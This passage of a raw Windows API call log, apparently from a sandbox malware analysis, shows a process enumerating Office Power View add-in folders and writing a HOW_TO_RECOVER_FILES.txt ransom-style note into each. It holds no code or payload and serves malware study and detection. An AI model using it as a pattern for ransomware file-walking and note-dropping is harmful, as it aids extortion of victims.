nFileSizeLow=0x4f281, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pt.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0226.360] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0226.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.360] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0226.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0226.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0226.362] GetFileType (hFile=0x630) returned 0x1 [0226.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0226.362] GetFileType (hFile=0x630) returned 0x1 [0226.362] WriteFile (in: hFile=0x630, lpBuffer=0x3805ef0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3805ef0*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0226.363] CloseHandle (hObject=0x630) returned 1 [0226.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.363] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT", lpFilePart=0x0) returned 0x54 [0226.363] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a680 [0226.365] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.365] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc46c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.365] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x29f7370, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x29f7370, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.365] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.365] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf475131d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.365] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15be380c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pt-PT.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.366] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.366] FindClose (in: hFindFile=0x134a680 | out: hFindFile=0x134a680) returned 1 [0226.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.366] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT", lpFilePart=0x0) returned 0x54 [0226.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0226.367] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.367] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc46c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.368] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x29f7370, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x29f7370, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.368] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.368] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf475131d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.368] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15be380c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pt-PT.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.368] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15be380c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pt-PT.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0226.368] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0226.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.369] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6d [0226.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0226.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt-pt\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0226.370] GetFileType (hFile=0x630) returned 0x1 [0226.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0226.371] GetFileType (hFile=0x630) returned 0x1 [0226.371] WriteFile (in: hFile=0x630, lpBuffer=0x3819818*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3819818*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0226.372] CloseHandle (hObject=0x630) returned 1 [0226.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.372] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro", lpFilePart=0x0) returned 0x51 [0226.372] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0226.373] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.373] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aa3169, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aa3169, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.373] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6aee686, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6aee686, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.374] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.374] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x98ae9c2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x98ae9c2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x98ae9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.374] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15d3adab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d871e6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fd7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ro.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.374] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.374] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0226.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.375] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro", lpFilePart=0x0) returned 0x51 [0226.375] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0226.376] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.376] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aa3169, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aa3169, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.376] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6aee686, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6aee686, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.376] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.376] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x98ae9c2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x98ae9c2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x98ae9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.376] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15d3adab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d871e6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fd7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ro.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.376] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15d3adab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d871e6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fd7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ro.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0226.377] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0226.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.377] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0226.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0226.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ro\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0226.779] GetFileType (hFile=0x860) returned 0x1 [0226.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0226.779] GetFileType (hFile=0x860) returned 0x1 [0226.786] WriteFile (in: hFile=0x860, lpBuffer=0x3682590*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3682590*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0226.792] CloseHandle (hObject=0x860) returned 1 [0226.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 